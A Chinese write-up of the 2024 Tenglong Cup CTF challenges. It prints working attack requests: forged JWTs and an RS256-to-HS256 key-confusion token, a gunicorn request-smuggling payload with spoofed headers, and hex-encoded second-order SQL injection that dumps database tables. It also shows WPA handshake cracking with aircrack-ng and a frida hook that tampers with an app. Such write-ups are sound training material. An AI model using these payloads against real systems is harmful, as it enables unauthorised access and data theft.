2024掌控安全-腾龙杯CTF WriteUp

我是大白   ·   发表于 2024-03-18 16:25:17   ·   漏洞文章

概览

WEB

这是一个登录页面(签到题)

考点:JWT攻击之签名未验证
访问题目,提示访问/login

提示打payload: {“account”:”wuxidixi”,”mima”:”makamaka”}

那么用burp或者yakit发个包试试:这里需要注意,发包方式为POST,设置Content-Type: application/json 格式

  1. 请求:
  2. POST /login HTTP/1.1
  3. Host: 192.168.0.70:8083
  4. Content-Type: application/json
  5. {"account":"wuxidixi","mima":"makamaka"}
  6. 响应:
  7. HTTP/1.1 200 OK
  8. X-Powered-By: Express
  9. Content-Type: application/json; charset=utf-8
  10. ETag: W/"80-SYdkaYXW0/I96gQmfn6ciOMLYWQ"
  11. Date: Mon, 04 Mar 2024 08:26:17 GMT
  12. Connection: keep-alive
  13. Keep-Alive: timeout=5
  14. Content-Length: 135
  15. {
  16. "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhY2NvdW50IjoibGluZ2h1bnpoaXppIn0.nRNZM_7dcxDoa-lKkrhFnNNxVNZD88xiwI1-QYqioSg"
  17. }

给了一串疑似JWT值,那么尝试对其进行解密看看是个啥:jwt.io,解出来是个account:”linghunzhizi”,看起来是个普通用户。

那么到这里的话,思路就断了,我们需要去哪里找flag呢,这个时候可能需要从目录上面下手,比如,看看有没有robots.txt,或者F12查看源码,或者抓包看看请求和响应中是否含有提示?这些都可以去尝试,这里访问/robots.txt有提示 ,可以看到存在/fulage目录

访问/fulage返回:

不能用GET,那我们用POST试一下:它说需要TOKEN,OK,那我们在POST包中添加刚刚获取的TOKEN试试,这里依旧要注意Content-type的设置:

它提示你不是admin,刚刚我们解密JWT里面有一个account:linghunzhizi,将这个用户名改成admin,然后jwt加密发包试试:

  1. POST /fulage HTTP/1.1
  2. Host: 192.168.0.70:8083
  3. Content-Type: application/json
  4. {
  5. "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhY2NvdW50IjoiYWRtaW4ifQ.XaW_ca6uIVjJ4diX9a_mxlerUFg3LcQJvg-n6ToPBZ8"
  6. }


获取flag.

web2

考点:gunicorn 20.0.4 请求走私漏洞 、 HTTP头部字段伪造&了解
访问靶场,提示访问/admin

访问/admin,提示forbidden禁止:

尝试访问robots.txt:not found

OK,F12也没啥提示,抓包看看:可以看到请求和响应都没有啥异常,也没有提示,但是这里可以看到server有点异常,一般的server都是apache、nginx啥的,这里却是个gunicorn/20.0.4?OK,百度一下看看是个啥:

可以看到,gunicron这个东西在20.0.4版本存在请求走私漏洞:

关于这个漏洞,在网上可以找到很多复现案例,这里就几个参考链接:

关于gunicron/20.0.4请求走私漏洞:https://mp.weixin.qq.com/s?__biz=MzkwNDI1NDUwMQ==&mid=2247484615&idx=1&sn=eaa7715853c1466b5a7526d592ab614b&chksm=c088818df7ff089b0a2b899efdc4a7fe740e084a052a95bd81c1d93147f087378b4c67d2e481&token=87928276&lang=zh_CN#rd

关于content-length的计算:https://blog.csdn.net/weixin_54902210/article/details/124580510

OK,接下来,我们知道了这是请求走私漏洞,那么来尝试构造一下exp来进行利用,题目提示我们访问/admin目录,而访问之后提示禁止,因此我们需要先通过请求走私漏洞来访问到这个被禁止访问的目录:

  1. GET / HTTP/1.1
  2. Host: 192.168.0.70:9999
  3. Content-Length: 76
  4. Sec-Websocket-Key1: x
  5. xxxxxxxxGET /admin HTTP/1.1
  6. Host: 192.168.0.70:9999
  7. Content-Length: 43
  8. GET / HTTP/1.1
  9. Host: 192.168.0.70:9999

这里构造exp,有两个坑点来自工具,一是burp的content-length自动补全需要关闭,否则会自动计算请求体长度,二是在burp显示中的最后一行一个空行=‘\r\n’,而在HTTP协议中,请求之间是通过一个空行(即两个连续的回车换行符 “\r\n\r\n”)来分隔的,因此要在发送请求的时候,最末尾如果是burp(yakit也一样)的话,需要打两个空行表示:\r\n\r\n

看到提示说你的浏览器不是secr3t_@gent,OK,这里考的是HTTP头部的了解:

再在请求/admin的请求中添加User-Agent: secr3t_@gent,然后重新计算长度,发包:注意为什么这里要多加一个2,因为User-Agent: secr3t_@gent末尾还有一个’\r\n’,这是占两个字节的,需要将其计算长度。

获得新的提示,flag在/fl4g目录下:

OK,将/admin换成/fl4g,并重新计算长度:得到提示说,你不是本地管理员,你是黑客,这里又考到了HTTP头部字段的XFF伪造,因此构造数据包:X-Forwarded-For: 127.0.0.1,并重新计算长度。

最终获得flag.

比赛环境下的payload:

  1. GET / HTTP/1.1
  2. Host: xxxxxxxx.lab.xxxxx.cn
  3. Authorization: Basic emthcTp6a2Fx
  4. User-Agent: secr3t_@gent: 49ed494b4af7c654e78e4af156aa5fc6
  5. Content-Length: 210
  6. Sec-Websocket-Key1: x
  7. xxxxxxxxGET /fl4g HTTP/1.1
  8. Host: xxxxxxxx.lab.xxxxx.cn
  9. Authorization: Basic emthcTp6a2Fx
  10. X-Forwarded-For: 127.0.0.1
  11. User-Agent: secr3t_@gent: 49ed494b4af7c654e78e4af156aa5fc6
  12. Content-Length: 123
  13. GET / HTTP/1.1
  14. Host: xxxxxxxx.lab.xxxxx.cn
  15. Authorization: Basic emthcTp6a2Fx
  16. token: 49ed494b4af7c654e78e4af156aa5fc6

受到相关漏洞的影响,也是出现了难以修复的bug,因此添加了token头,token是随机的,需要自己根据情况更换,同时差不多要发送两个数据包左右就能出结果…

这个环境中有个bug就是:gunicorn会已读乱回… …,因此在这里给参赛的同学造成了困扰说一声抱歉哈。

比如:A通过构造请求数据包走私出了flag,这个时候,B也同时(在A发送的时间点附近)发送一个GET请求,请求/admin,就有很有可能会接收到gunicorn返回给A的响应包,具体还需要读者自行进行尝试。

这又是一个登录页面

考点:JWT密钥混淆攻击(在JWT加密阶段使用了RSA算法,使用私钥进行了加密【那么解密就是用公钥】,然而却在解密阶段同时使用了两种加密算法HMAC和RSA,如果公钥被攻击者获得,那么攻击者可以修改其中的加密算法为HMAC,此时就成了对称加密算法了,而加密密钥又是公钥,攻击者通过公钥加密后的内容发送到服务端也能正常解密,由此造成密钥混淆攻击。)

访问题目,一个登录页面,随意输入账号密码:提示我是个路人,不给flag

F12查看源码,没啥提示,抓包看看有啥:发现cookie里面是一串疑似JWT值,解密看看

account为路人甲,并且加密算法为RSA,这里尝试修改account为@dministr@t0r发现生成不了JWT,因为没有私钥:

访问robots.txt,页面是空白的,需要往下翻才能看到这个公钥:

获取公钥之后,就可以尝试密钥混淆攻击了,这里使用node,将获取到的RSA公钥生成一串jwt,并将加密算法改成HS256(或者github上找找其他工具生成)

先将公钥复制保存为public_key.key,然后在node中做如下操作(这里我使用的是node js生成的,你也可以使用别的工具或网站):

  1. root@378bf606c9c5:/app# node
  2. Welcome to Node.js v12.22.12.
  3. Type ".help" for more information.
  4. > const jwt = require('jsonwebtoken')
  5. undefined
  6. > var fs = require('fs')
  7. undefined
  8. > var publicKey = fs.readFileSync('./public_key.key')
  9. undefined
  10. > var token = jwt.sign({'account':'@dministr@t0r'},publicKey,{algorithm:'HS256',noTimestamp:true});
  11. undefined
  12. > console.log(token)
  13. eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhY2NvdW50IjoiQGRtaW5pc3RyQHQwciJ9.Rh8uZn8Lk1zYVFGJ5zbUeGu5C5XaoxCMURnlaFRFhYI

然后将生成的jwt替换cookie中的token值,发送,即可获得flag.

html练习生

考点:SQL二次注入(先将payload写入数据库,然后在登录日志记录insert阶段产生注入)
流程分析:注册账号=>登录=>信息修改处写入16进制数据(update)=>退出=>登录(insert)=>查看登录日志(select)
F12,robots.txt,查看源码…均无提示;
注册个用户登录上去看看:注册账户需要三个东西:用户名,密码,userid

登录后,查看各个功能点:登录日志查看功能会记录登录的userid,ip,和时间,而这个功能对应的数据库操作则是select操作,将数据查询出来并展示:

修改信息处,可修改年龄,地点,和userid,对应数据操作则是update更新数据操作。

然而,登录的时候会产生登录日志,这就对应了数据库的insert数据插入操作,所以,这里可以尝试在修改信息处,将userID注入SQL语句,然后退出登录再重新登录,查看日志来形成insert注入。

但是当我们在userid输入字符,会返回userID必须是数字的提示:

那假如我们输入16进制数据呢?将单引号进行16进制编码,然后拼接上0x,0x27输入:点击修改后,无异常

退出,重新登录看看什么情况:登录后,首页显示数据插入异常了,并且登陆日志条目也没有增加,看来注入成功报错了(这里同时可以尝试输入个双引号,双引号正常,单引号报错,那么大概率就是单引号闭合)

现在只需要一个一个字段尝试增加,探测出insert需要插入多少个字段,然后就可以正常进行下一步了:

最终试出需要填充四个字段:1’,1,1,1) — qwe => 0x31272c312c312c3129202d2d20717765

接下来就是常规的查询了:

当前数据库:1’,(select database()),1,1) — qwe => 0x31272c2873656c6563742064617461626173652829292c312c3129202d2d20717765

查表:1’,(select group_concat(‘~’,table_name) from information_schema.tables where table_schema=database()),1,1) — qwe => 0x31272c2873656c6563742067726f75705f636f6e63617428277e272c7461626c655f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573207768657265207461626c655f736368656d613d64617461626173652829292c312c3129202d2d20717765

查列: 1’,(select group_concat(‘~’,column_name) from information_schema.columns where table_schema=database() and table_name=’injectflag’),1,1) — qwe => 0x31272c2873656c6563742067726f75705f636f6e63617428277e272c636f6c756d6e5f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e636f6c756d6e73207768657265207461626c655f736368656d613d6461746162617365282920616e64207461626c655f6e616d653d27696e6a656374666c616727292c312c3129202d2d20717765

获取flag: 1’,(select fl4g from injectflag limit 1,1),1,1) — qwe => 0x31272c2873656c65637420666c34672066726f6d20696e6a656374666c6167206c696d697420312c31292c312c3129202d2d20717765

MISC

简简单单一张图片(签到题)

考点:图片隐写,stegsolve工具使用,rot13解密
打开图片查看,貌似上方有些东西:

stegsolve启动,file format 和 Steregram Solve都没啥异常,使用Data Extract看看有没有隐藏数据: RGB点满,preview后查看到图片中有一些数据,将图片保存为txt格式,Save Text.

将字符串提取出来,然后尝试各种解密,rot13解密出flag

将明文点和空格删除后,出flag{pour_in_hot_rapeseed_oil_and_pour_soul_juice}

嘘~听,什么声音?

考点:DTMF 、拼音九键加密
DTMF解码网站:http://dialabc.com/sound/detect/index.html
拼音九键加密原理:https://cloud.tencent.com/developer/article/2130798

解压数据包之后有四个音频文件,其中文件名标识这1 2 3 4 四部分,将“-”后面的字母根据顺序拼在一起就是DTMF得出提示:

将音频文件拖入解码网站进行分析得出四串数字:

四组数字:[81 63 31 21 93] [42 21 71 71 93] [74 81 82 31 93] [31 81 61 33]

然后使用拼音九键解密,以拼音九键为基础,将数字分为两个一组,第一个数字代表九键中的某一个键,第二个数字表示按几下,得出对应的字母。包裹上flag{}即可,flag{TODAYHAPPYSTUDYDTMF}。

niu niang分析

考点:wifi流量包分析 、wifi 握手包密码破解、wireshark软件使用、协议分析、jwt基础解密、binwalk & formost工具使用
打开数据包,从协议802.11上来看,是无线流量,并且是WPA加密:

尝试爆破握手密码:aircrack-ng shujubao.cap -w 10000.txt ,握手密码为 12345678

解密流量包:airdecap-ng shujubao.cap -e ‘mamawoxiangwantiequan’ -p 12345678

再次对解密后的流量包进行分析:通过分析http流量,发现含有三张POST传输的图片,图片中还有压缩包和flag.txt

通过wireshark导出对象,记一下这三个包中其中一个的编号NO.(因为三个都是一样的380,452,507),然后 “文件”—>”导出对象”->”HTTP”:save为PNG格式图片

导出图片并不能直接打开看到东西,因为里面还藏着一个压缩包,拖入kali,使用binwalk分析,分离出压缩包:

使用-e参数分离:分离出了一个3338.zip,里面有个flag.txt,但是需要密码:

此时再回到解密后的流量包,查看流量包中是否有密码相关的内容:发现POST包中含有cookie字段,cookie值是JWT格式,尝试对这段值进行JWT解密:选中cookie右键->复制->值

放入jwt.io中解密,得到密码相关的提示:

可以翻译一下:

ping过的网站?ping一般会ping域名,可以先筛选一下DNS协议:过滤器中输入dns筛选

然后将域名当做密码输入,最后试出:26rsfb.dnslog.cn 就是解压密码;

easy_Forensics

考点:volatility工具使用 + python脚本编写 + linux基础命令 + binwalk / formost工具使用 + 维吉尼亚密码解密
查看镜像信息:volatility -f Forensics_is_Easy.img imageinfo

查看是否有可疑进程:volatility -f Forensics_is_Easy.img —profile=Win7SP1x64 pslist ,存在一个notepad.exe记事本

尝试获取记事本里边的内容,看看有没有提示或者flag:volatility -f Forensics_is_Easy.img —profile=Win7SP1x64 editbox

得到提示为flag放在了一张jpg图片里面,尝试查看文件,筛选出.jpg格式的图片资源:volatility -f Forensics_is_Easy.img —profile=Win7SP1x64 filescan | grep “jpg”

发现了一张phos.jpg图片,将这张图片提取出来:volatility -f Forensics_is_Easy.img —profile=Win7SP1x64 dumpfiles -Q 0x000000002557b2b0 -D ./

打开图片后并没有发现flag相关信息:

使用binwalk查看一下图片中是否包含其他内容:binwalk 111.jpg ,发现其中还含有压缩包和img文件

使用binwalk分离文件:binwalk -e 111.jpg

这个message.img看起来又像是一个镜像文件,再次使用volatility进行镜像信息分析,发现分析不出来,那么它有没有可能是其他文件呢?

使用file命令分析一下文件类型:file message.img ,发现是linux ext2磁盘文件

磁盘文件的话,可以使用linux命令mount进行挂载,在当前创建一个目录,挂载文件看看里面有啥:

mkdir test # 创建挂载目录

mount message.img ./test # 将磁盘文件挂载到test目录下(ps:取消挂载 umount ./test)

ls -a 查看磁盘文件中都包含什么,(记得多加-a参数,可以看到隐藏文件!)发现一个hint.txt

查看hint.txt内容:像是一些坐标信息

使用python脚本,将hint.txt中的信息转换成图片:

  1. from PIL import Image
  2. file = open('hint.txt','r')
  3. data = file.read()
  4. pic = Image.new('RGB',(300,300))
  5. data = data.split('\n')
  6. for i in data:
  7. a = i.split(' ')
  8. b = int(a[0])
  9. d = int(a[1])
  10. pic.putpixel([b,d],(255, 255, 255))
  11. pic.show()
  12. pic.save('result.png')

这里如果使用的是python脚本有个坑会导致python运行报错,就是hint.txt最下面有一行空行,需要删除掉!

运行脚本,通过hint.txt生成了一个二维码图片:

使用草料二维码解码https://cli.im/deqr/other,得到进一步提示:维吉尼亚秘钥aeolus

  1. Here is the vigenere key: aeolus, but i deleted the encrypted message

接下来有点茫然[上哪去找密文?],但是不慌,我们还有其他两个文件还没有打开看,lost+found中没有东西,一顿ls -a,在.Trash-0/file/中发现了.message.swp[vim编辑意外退出时会生成的文件],使用命令恢复改文件查看是啥内容:

vim -r .message.swp

发现一串疑似密文,拿去维吉尼亚解密试试:https://www.metools.info/code/c71.html

最终,得到flag{yeeeeet!just_find_and_solve}

REVERSE

输入神秘代码,召唤神龙!(签到题)

考点:.net逆向,dnspy、exeinfo PE 或者 PEiD工具使用
拿到dragon.exe程序,先运行一下程序,走个流程,看看程序有哪些功能,干啥的:看起来像是输入字符串进行比较,随意输入后召唤失败。

OK,拖入PEiD(PEiD用的是吾爱破解的虚拟机,相关下载链接在吾爱破解论坛可以找到),查看程序的基本信息(因为没加壳,所以查壳过程跳过):可以看到是个.NET程序,那么我们需要使用能够反编译.NET程序的工具来对其进行逆向

dnspy工具下载:https://github.com/dnSpy/dnSpy/releases

使用dnspy对程序进行反编译,反编译后的语言默认为C#语言(可以切换VB或者IL语言),显示的左边的界面是关于程序的基本信息:包括程序的版本、入口点、时间戳等信息:

从第四行可以看到,程序入口点为Class0.Main

直接点击Class0就能够跳到这个类:这里可以看到,在Main方法里面,又new了一个Form1对象

看不懂的话可以上AI【实例】:

我们跟进Form1看看是啥,点击Form1跳转:可以看到核心代码就在这了,主要就是一个base64字符串的比较,当a==b时,就弹出“神龙来咯xxx”:

将变量b的值复制,进行base64解码后出flag,输入程序正确:

可进行的其他尝试:

使用linux的strings命令查看程序里面有没有flag相关的字符串【结果:无】

猜拳游戏

考点:frida & 模拟器(我用的是夜神) 使用、hook脚本编写、apk逆向分析、ida使用、dex2jar反编译dex,jd-gui/Jadx工具使用

frida安装,连接模拟器参考:

下载apk,先拖到模拟器运行一下看看什么效果:一个石头剪刀布游戏,根据题目提示,要连续赢AI 1000次才能过关,而只要输一次,就会把分数重置为0,因此,想单纯靠猜拳赢它是不太可能的。

OK,接下来反编译apk,看看里面有啥,先使用7z或者WINRAR解压APK:

可以看到基本的一个文件目录结构:

  1. - AndroidManifest.xml 应用程序清单文件,包含应用程序的元数据和配置信息。
  2. - classes.dex 应用程序的 Java 代码编译后的 Dalvik 字节码文件。
  3. - resources.arsc 应用程序的资源文件的二进制 XML 格式文件,包含字符串、颜色、尺寸等资源。
  4. - res/ 主要存放apk图片、颜色等资源
  5. - drawable/ 存放应用程序使用的图片资源。
  6. - layout/ 存放应用程序的布局文件,定义了界面的布局结构。
  7. - values/ 存放应用程序的字符串、颜色、尺寸等资源。
  8. - ... 其他资源文件的存放目录,例如 anim/ 存放动画文件,raw/ 存放原始资源文件等。
  9. - assets/ 存放应用程序的原始资源文件,可以通过 AssetManager 访问。
  10. - META-INF/ 存放apk验证性文件
  11. - CERT.RSA 应用程序的公钥证书。
  12. - CERT.SF 应用程序的签名文件。
  13. - MANIFEST.MF 应用程序的清单文件。
  14. -lib 包含了应用程序的本地库文件(Native Libraries),简单理解就是:一些造好的轮子,需要时直接调用。

最主要的一个文件是classes.dex,这个文件是经过编译的Android应用程序代码文件,可以使用dex2jar对其进行反编译,从而获取apk的jar包:

d2j-dex2jar classes.dex

反编译之后得到一个classes-dex2jar.jar文件,然后使用jd-gui或者Jadx工具(推荐用Jadx,Jadx功能多一点)对jar文件进行查看:

  1. android.support # 安卓应用程序的基本库,方便兼容和支持程序(这个不是重点)
  2. com.example.seccon2015.rock_paper_scissors # 应用程序的包名,重点分析这个。

打开com.example.seccon2015.rock_paper_scissors包之后主要有三个类:

  1. BuildConfig # 包含应用程序构建相关的常量和配置信息
  2. MainActivity # 可以理解为主程序的入口,重点分析
  3. R # 包含了应用程序中所有资源的引用,包括布局文件、字符串、图像、颜色等

接下来分析MainActivity类:这里代码也显而易见,当你赢了一次,cnt变量就会+1,当你输了,cnt就会重置为0,当平局,cnt+0,如果cnt=1000,就会输出apkflag{1000 + calc() * 107},其中,calc()是个函数

点击calc()会跳到代码下面,可以看到clac()是通过loadLibrary引入的,那么这啥:System.loadLibrary()适用于加载本地库的一种方法,而我们的本地库就存放在lib目录,打开lib目录可以看到libcalc.so文件,那么这里就是调用的我们lib目录中的libcalc.so文件中的calc()了。

所以,这里有两种做法:

  • 一是通过hook影响程序执行流程,将cnt的值直接改为1000,然后让apk自动输出计算后的flag
  • 二是分析libcalc.so文件,看看它最后输出了啥,然后将flag计算出来,拼接上apkflag{}
    方法一:编写hook脚本,核心代码写了注释,其他代码直接百度搜索即可。
  1. import frida, sys
  2. def on_message(message, data):
  3. if message['type'] == 'send':
  4. print("[*] {0}".format(message['payload']))
  5. else:
  6. print(message)
  7. jscode = """
  8. //1. frida Hook java层的代码必须包裹在Java.perform中,Java.perform会将Hook Java相关API准备就绪。
  9. // 简单理解就是:将当前线程附加到程序中,后续将调用funciton()对程序流程就行更改或者影响。
  10. Java.perform(function () {
  11. // Java.user(),通过类名获取Java类,返回一个包裹好得javascript对象,通过该对象可以访问类成员
  12. var MainActivity = Java.use('com.example.seccon2015.rock_paper_scissors.MainActivity');
  13. // 捕捉按钮点击事件
  14. var onClick = MainActivity.onClick;
  15. // 当按钮按下时,就执行function(v)
  16. onClick.implementation = function (v) {
  17. // 打印一条消息来说明函数被调用
  18. send('onClick');
  19. // 执行原始的点击事件
  20. onClick.call(this, v);
  21. // 在执行原始点击事件后设置变量的值,设置n为1,m值为0,m<n,就执行到了“你赢了的流程”,然后设置cnt为999,在赢了之后,会自增一次,999+1=1000,然后屏幕就会输出flag
  22. this.m.value = 0;
  23. this.n.value = 1;
  24. this.cnt.value = 999;
  25. // 在控制台打印消息,此时应该已经得到flag
  26. console.log('Done:' + JSON.stringify(this.cnt));
  27. };
  28. });
  29. """
  30. # 官方文档用的是frida.get_usb_device(),这里因为使用模拟器,换成frida.get_remote_device()
  31. # 4680是猜拳游戏的进程ID,根据实际情况调整
  32. process = frida.get_remote_device().attach(4680)
  33. script = process.create_script(jscode)
  34. script.on('message', on_message)
  35. print('[*] Running CTF')
  36. script.load()
  37. sys.stdin.read()

hook脚本写好后,通过adb shell连接模拟器,然后在模拟器中运行frida:

  1. adb shell
  2. ./frida (记得给frida赋予执行权限)

此时新开一个终端,运行frida-ps -U 可以查看模拟器中运行的进程以及进程ID,运行猜拳游戏还能看到猜拳游戏的进程:

能够列出进程就说明frida连接成功了,接下来设置一下tcp转发(frida-server默认端口为27042),方便frida与模拟器进程通信:

adb forward tcp:27042 tcp:27042

接下来运行hook脚本,然后随意点击一个按钮,就会输出flag:

方法二:ida分析.so文件,计算出flag

因为根据我们分析程序可以得知,flag是:

  1. cnt的值 + calc()函数的返回值) * 107
  2. "apkflag{" + String.valueOf((MainActivity.this.cnt + MainActivity.this.calc()) * 107) + "}"

cnt已知是 1000,calc()的返回值需要通过分析libcalc.so文件得知。

将libcalc.so拖入ida:ida打开后,进入Exports窗口查看函数,可以看到一个java_com_expamle_xxx_calc函数,双击到达IDA View视图查看其汇编代码:

到这里,可以直接对汇编代码进行分析,也可以F5查看伪代码:可以看到,calc()函数的返回值是个7

最后,计算结果:(1000 + 7)*107 = 107749 ,最后获取flag: apkflag{107749}

经典游戏(扫雷)

正常玩游戏,发现简单和中级模式一切正常,打开高级难度后发现异常困难,flag应该藏在里面。尝试修改雷的数量。

雷的数量依旧是近400个,应该是做了最低限制。

简简单单扫个地雷,依稀看到一个数字2,继续往下扫,祭。

在连续完了几局以后,发现这个字母会变,说明这是个字符串,且在当前游戏初始化的时候会被调用,于是使用x32dbg打开

并搜索字符串,没有查到什么有用的多少,事情果然没有这么简单。随后想到雷的布局是随机的,应该和rand函数有关系。

在x32dbg中,搜索当前的跨模块调用,待搜索完毕后,筛选rand关键词,发现只有一个rand调用,在此处下一个断点,然后重开游戏,程序成功被中断。

在观察并动态调试后发现,从00A11650->00A11684是一个循环,并在循环中两次调用rand函数,猜测是计算雷的XY坐标。接着从ss:[edi+edx+A17921]取出数据,按位或0x80,并放回ss:[edi+edx+A17921],由此推断,0x80是判断某点是否是雷的关键位,并且ss:[edi+edx+A17921]是保存了雷布局的数组。

在循环之后,进行了一次对32取余运算,而后连续对0x3c和0x20进行cmp判断,猜测于是否放flag有关,因为flag字符在简单和中级时不出现,而困难难度正好是60*30,猜测flag长度应该是32位(v+1%32取值范围是[0,31],0x1f=31)。

在判断之后的逻辑代码中,是8个相似的计算结构,末尾处和0x10比较,并跳转到A116F6,0x10=16,结合上面32位的flag长度猜测,某个存放flag的数据库大小是32*16=512字节,具体算法还得继续分析。

为了进一步确认flag的信息,对局部代码细细分析。

由于存在8个类似 and ebx, 80的运算,且后续的数字都是很有规律的,大胆猜测 0x80>>i,i取值范围是[0, 7],验算后果然如此。

验算通过后,再结合下面的逻辑大胆猜测,由于从A17058取了第一次指针放入ebp-C,然后又取一次,再结合上面32*16判断A17058是一个二维数组,如a[32][16]

综合上面所有条件, 从A17058取出需要的数据后得到下面算法:

  1. <?php
  2. $uchars=[
  3. [0x00, 0x00, 0x7C, 0x40, 0x40, 0x78, 0x44, 0x04, 0x44, 0x44, 0x38, 0x00, 0x00, 0x00, 0x00, 0x00],
  4. [0x00, 0x00, 0x00, 0x00, 0x00, 0x38, 0x44, 0x1C, 0x24, 0x44, 0x3E, 0x00, 0x00, 0x00, 0x00, 0x00],
  5. [0x00, 0x00, 0x08, 0x08, 0x18, 0x28, 0x28, 0x48, 0x7C, 0x08, 0x1C, 0x00, 0x00, 0x00, 0x00, 0x00],
  6. [0x00, 0x00, 0x18, 0x24, 0x20, 0xF8, 0x20, 0x20, 0x20, 0x20, 0x78, 0x00, 0x00, 0x00, 0x00, 0x00],
  7. [0x00, 0x00, 0x00, 0x00, 0x00, 0x38, 0x44, 0x1C, 0x24, 0x44, 0x3E, 0x00, 0x00, 0x00, 0x00, 0x00],
  8. [0x00, 0x00, 0x38, 0x44, 0x44, 0x04, 0x08, 0x10, 0x20, 0x44, 0x7C, 0x00, 0x00, 0x00, 0x00, 0x00],
  9. [0x00, 0x00, 0x08, 0x08, 0x18, 0x28, 0x28, 0x48, 0x7C, 0x08, 0x1C, 0x00, 0x00, 0x00, 0x00, 0x00],
  10. [0x00, 0x00, 0x00, 0x00, 0x00, 0x38, 0x44, 0x7C, 0x40, 0x44, 0x38, 0x00, 0x00, 0x00, 0x00, 0x00],
  11. [0x00, 0x00, 0x00, 0x00, 0x00, 0x3C, 0x44, 0x40, 0x40, 0x44, 0x38, 0x00, 0x00, 0x00, 0x00, 0x00],
  12. [0x00, 0x00, 0x38, 0x44, 0x44, 0x44, 0x4C, 0x34, 0x04, 0x48, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00],
  13. [0x00, 0x00, 0x7C, 0x44, 0x08, 0x08, 0x08, 0x10, 0x10, 0x10, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00],
  14. [0x00, 0x00, 0x08, 0x08, 0x18, 0x28, 0x28, 0x48, 0x7C, 0x08, 0x1C, 0x00, 0x00, 0x00, 0x00, 0x00],
  15. [0x00, 0x00, 0x7C, 0x44, 0x08, 0x08, 0x08, 0x10, 0x10, 0x10, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00],
  16. [0x00, 0x00, 0x7C, 0x44, 0x08, 0x08, 0x08, 0x10, 0x10, 0x10, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00],
  17. [0x00, 0x00, 0x00, 0x00, 0x00, 0x38, 0x44, 0x7C, 0x40, 0x44, 0x38, 0x00, 0x00, 0x00, 0x00, 0x00],
  18. [0x00, 0x00, 0x7C, 0x44, 0x08, 0x08, 0x08, 0x10, 0x10, 0x10, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00],
  19. [0x00, 0x00, 0x0C, 0x04, 0x04, 0x3C, 0x44, 0x44, 0x44, 0x44, 0x3E, 0x00, 0x00, 0x00, 0x00, 0x00],
  20. [0x00, 0x00, 0x0C, 0x04, 0x04, 0x3C, 0x44, 0x44, 0x44, 0x44, 0x3E, 0x00, 0x00, 0x00, 0x00, 0x00],
  21. [0x00, 0x00, 0x38, 0x44, 0x44, 0x44, 0x4C, 0x34, 0x04, 0x48, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00],
  22. [0x00, 0x00, 0x00, 0x00, 0x00, 0x38, 0x44, 0x1C, 0x24, 0x44, 0x3E, 0x00, 0x00, 0x00, 0x00, 0x00],
  23. [0x00, 0x00, 0xC0, 0x40, 0x40, 0x78, 0x44, 0x44, 0x44, 0x44, 0x78, 0x00, 0x00, 0x00, 0x00, 0x00],
  24. [0x00, 0x00, 0x18, 0x24, 0x40, 0x58, 0x64, 0x44, 0x44, 0x44, 0x38, 0x00, 0x00, 0x00, 0x00, 0x00],
  25. [0x00, 0x00, 0x18, 0x24, 0x40, 0x58, 0x64, 0x44, 0x44, 0x44, 0x38, 0x00, 0x00, 0x00, 0x00, 0x00],
  26. [0x00, 0x00, 0x10, 0x30, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x38, 0x00, 0x00, 0x00, 0x00, 0x00],
  27. [0x00, 0x00, 0xC0, 0x40, 0x40, 0x78, 0x44, 0x44, 0x44, 0x44, 0x78, 0x00, 0x00, 0x00, 0x00, 0x00],
  28. [0x00, 0x00, 0x08, 0x08, 0x18, 0x28, 0x28, 0x48, 0x7C, 0x08, 0x1C, 0x00, 0x00, 0x00, 0x00, 0x00],
  29. [0x00, 0x00, 0x00, 0x00, 0x00, 0x38, 0x44, 0x1C, 0x24, 0x44, 0x3E, 0x00, 0x00, 0x00, 0x00, 0x00],
  30. [0x00, 0x00, 0x7C, 0x44, 0x08, 0x08, 0x08, 0x10, 0x10, 0x10, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00],
  31. [0x00, 0x00, 0xC0, 0x40, 0x40, 0x78, 0x44, 0x44, 0x44, 0x44, 0x78, 0x00, 0x00, 0x00, 0x00, 0x00],
  32. [0x00, 0x00, 0x38, 0x44, 0x04, 0x04, 0x18, 0x04, 0x04, 0x44, 0x38, 0x00, 0x00, 0x00, 0x00, 0x00],
  33. [0x00, 0x00, 0x00, 0x00, 0x00, 0x3C, 0x44, 0x40, 0x40, 0x44, 0x38, 0x00, 0x00, 0x00, 0x00, 0x00],
  34. [0x00, 0x00, 0x00, 0x00, 0x00, 0x3C, 0x44, 0x40, 0x40, 0x44, 0x38, 0x00, 0x00, 0x00, 0x00, 0x00],
  35. ];
  36. $img = imagecreate(2*8*count($uchars),2*16);
  37. $black = imagecolorallocate($img, 0, 0, 0);
  38. $red = imagecolorallocate($img, 255, 0, 0);
  39. for($x=0;$x<32;$x++)
  40. {
  41. $uchar = $uchars[$x];
  42. for ( $y=0; $y < 16; $y++ )
  43. {
  44. $c = $uchar[$y];
  45. $y1 = $y*2;
  46. for($i=0;$i<8;$i++){
  47. $x1=$x*16+$i*2;
  48. imagefilledrectangle($img, $x1, $y1,$x1+2,$y1+2, ($c & (128 >> $i))?$red:$black);
  49. //imagesetpixel($img, $;
  50. }
  51. }
  52. }
  53. imagepng($img, 'paintimg.png');
  54. imagedestroy($img);

运行得到flag

AWD

jenkins 是啥? (签到题)

简介

jenkins是啥?
简单理解就是:一个开源的、用于方便代码管理、部署的基于web的平台,用于提高团队开发效率(生产力)。

img

Jenkins CLI 任意文件读取漏洞 CVE-2024-23897 是怎么回事?
Jenkins提供了一个命令行接口,用户可以通过jenkins-cli.jar调用这个接口来执行一些jenkins的功能,但是由于使用jenkins-cli.jar执行命令行时,命令行是在服务端调用第三方库 args4j 进行解析的,如果参数是以@开头,就会被认为是一个文件名,并且的将文件内容读取出来作为参数,然后引发报错,将文件内容通过报错显示出来,造成了文件读取。

影响版本

版本<= Jenkins 2.441、版本<= LTS 2.426.2

